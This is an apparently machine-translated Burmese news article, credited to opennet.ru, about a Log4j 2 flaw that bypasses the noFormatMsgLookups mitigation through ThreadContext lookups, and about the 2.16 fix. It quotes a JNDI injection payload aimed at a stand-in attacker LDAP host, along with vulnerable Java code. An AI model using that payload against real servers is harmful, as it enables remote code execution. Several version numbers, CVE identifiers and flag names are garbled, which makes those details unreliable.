ထပ်လောင်းကာကွယ်မှုများကို ကျော်လွှားနိုင်စေမည့် Log4j 2 အတွက် တိုက်ခိုက်မှုရွေးချယ်မှုအသစ်

ဖြန့်ချိမှု 4 တွင် ထည့်သွင်းထားသည့် ပြုပြင်မှုများနှင့် “log2j2021.noFormatMsgLookup” ဆက်တင်ကို အသုံးပြုမှု မည်သို့ပင်ဖြစ်စေ Log45046j 2.15 စာကြည့်တိုက် (CVE-4-2) ရှိ JNDI ရှာဖွေမှုများကို အကောင်အထည်ဖော်ရာတွင် နောက်ထပ်အားနည်းချက်ကို ဖော်ထုတ်တွေ့ရှိထားသည်။ “noFormatMsgLookup” အလံကို အသုံးပြု၍ ကာကွယ်ထားသော Log4j 2 ၏ ဗားရှင်းအဟောင်းများအတွက် အဓိကအားဖြင့် ပြဿနာမှာ အန္တရာယ်ရှိပြီး ယခင်အားနည်းချက်များ (Log4Shell, CVE-2021-44228) တွင် သင့်ကုဒ်ကို လုပ်ဆောင်နိုင်စေသောကြောင့်၊ ဆာဗာ။ ဗားရှင်း 2.15 အသုံးပြုသူများအတွက်၊ ရရှိနိုင်သောအရင်းအမြစ်များ ကုန်ဆုံးသွားသောကြောင့် အပလီကေးရှင်းကို ပျက်ဆီးစေခြင်းအတွက် အသုံးချမှုကို ကန့်သတ်ထားသည်။

${ctx:loginId}၊ သို့မဟုတ် %X၊ %mdc နှင့် %MDC ကဲ့သို့သော MDC နမူနာများ (Thread Context Map) ကဲ့သို့သော မှတ်တမ်းအတွက် Context Lookups ကို အသုံးပြုသည့် စနစ်များတွင်သာ အားနည်းချက်မှာ ပေါ်နေပါသည်။ လုပ်ဆောင်ချက်သည် မှတ်တမ်းသို့ JNDI အစားထိုးမှုများပါရှိသော ဒေတာကို ထုတ်လွှတ်ခြင်းအတွက် အခြေအနေများ ဖန်တီးပေးသည့် အပလီကေးရှင်းတွင် ဆက်စပ်မေးခွန်းများ သို့မဟုတ် MDC နမူနာများကို အသုံးပြုသည့်အခါ မှတ်တမ်းသို့ ဖော်မတ်ထုတ်ခြင်းအတွက် စည်းမျဉ်းများကို သတ်မှတ်ပေးသည်။

LunaSec မှ သုတေသီများက Log4j 2.15 ထက်နည်းသော ဗားရှင်းများအတွက်၊ Log4Shell တိုက်ခိုက်မှုအတွက် ဤအားနည်းချက်ကို ကွက်လပ်အသစ်တစ်ခုအဖြစ် အသုံးပြုနိုင်ပြီး၊ ThreadContext expressions များကို log output တွင် ပြင်ပဒေတာကို အသုံးပြုမည်ဆိုပါက၊ ကုဒ်လုပ်ဆောင်မှုဆီသို့ ဦးတည်သွားကြောင်း မှတ်ချက်ပြုခဲ့သည်။ "protect" အလံကို ဖွင့်ထားသည်။ noMsgFormatLookups" သို့မဟုတ် "%m{nolookups}" နမူနာပုံစံ။

ထပ်လောင်းကာကွယ်မှုများကို ကျော်လွှားနိုင်စေမည့် Log4j 2 အတွက် တိုက်ခိုက်မှုရွေးချယ်မှုအသစ်

အကာအကွယ်ကို ကျော်ဖြတ်ခြင်းသည် “${jndi:ldap://attacker.com/a}” ကို တိုက်ရိုက်အစားထိုးမည့်အစား၊ မှတ်တမ်းအထွက်ကို ဖော်မတ်ချခြင်းအတွက် စည်းမျဉ်းများတွင် အသုံးပြုသည့် အလယ်အလတ်ကိန်းရှင်၏ တန်ဖိုးအားဖြင့် ဤအသုံးအနှုန်းကို အစားထိုးထားသည် . ဥပမာအားဖြင့်၊ မှတ်တမ်းတွင် ထည့်သွင်းသည့်အခါ စကားစပ်မေးမြန်းချက် ${ctx:apiversion} ကို အသုံးပြုပါက၊ ဒေတာ “${jndi:ldap://attacker.com/a}” ထဲသို့ အစားထိုးခြင်းဖြင့် တိုက်ခိုက်ခြင်းကို လုပ်ဆောင်နိုင်သည်။ apiversion variable တွင်ရေးထားသောတန်ဖိုး။ အားနည်းချက်ရှိသော ကုဒ်နမူနာ- appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP header value "X-Api-Version" ကို ThreadContext ThreadContext.put("apiversion) သို့ ပေးပို့သည် ", apiVersion ); // လော့ဂ်အင်လုပ်သောအခါ၊ အစားထိုးမှု ${ctx:apiversion} logger.info("API ဗားရှင်းအတွက် တောင်းဆိုချက်ကို လက်ခံရရှိသည်")၊ "မင်္ဂလာပါ ကမ္ဘာ!" }

Log4j ဗားရှင်း 2.15 တွင်၊ တန်ဘိုးများကို ThreadContext သို့ပေးပို့သောအခါတွင် DoS တိုက်ခိုက်မှုများကို လုပ်ဆောင်ရန် အားနည်းချက်ကို အသုံးပြုနိုင်ပြီး အထွက်ဖော်မတ်ချခြင်း ပုံစံပလိတ်လုပ်ဆောင်ခြင်းတွင် ကွင်းဆက်ဖြစ်လာသည်။

ထပ်လောင်းကာကွယ်မှုများကို ကျော်လွှားနိုင်စေမည့် Log4j 2 အတွက် တိုက်ခိုက်မှုရွေးချယ်မှုအသစ်

အားနည်းချက်ကို ပိတ်ဆို့ရန် အပ်ဒိတ် 2.16 နှင့် 2.12.2 ကို ထုတ်ဝေလိုက်ပါပြီ။ Log4j 2.16 ဌာနခွဲတွင်၊ ဗားရှင်း 2.15 တွင် လုပ်ဆောင်ခဲ့သော ပြုပြင်မှုများအပြင် JNDI LDAP တောင်းဆိုမှုများကို "localhost" သို့ ပေါင်းစပ်ထားသည့် JNDI လုပ်ဆောင်ချက်ကို မူရင်းအတိုင်း လုံးဝပိတ်ထားလိုက်ပြီး မက်ဆေ့ချ်အစားထိုး နမူနာပုံစံများကို ပံ့ပိုးမှုအား ဖယ်ရှားထားသည်။ လုံခြုံရေးဖြေရှင်းချက်အနေဖြင့်၊ classpath မှ JndiLookup အတန်းကို ဖယ်ရှားရန် အကြံပြုထားသည် (ဥပမာ၊ “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

ဖြန့်ဝေမှုများ၏စာမျက်နှာများ (Debian၊ Ubuntu၊ RHEL၊ SUSE၊ Fedora၊ Arch) နှင့် Java ပလပ်ဖောင်းထုတ်လုပ်သူများ (GitHub၊ Docker၊ Oracle၊ vmWare၊ Broadcom နှင့် Amazon/AWS၊ Juniper၊ VMware၊ Cisco၊ IBM၊ Red Hat၊ MongoDB၊ Okta၊ SolarWinds၊ Symantec၊ McAfee၊ SonicWall၊ FortiGuard၊ Ubiquiti၊ F-Secure စသဖြင့်)။

source: opennet.ru

မှတ်ချက် Add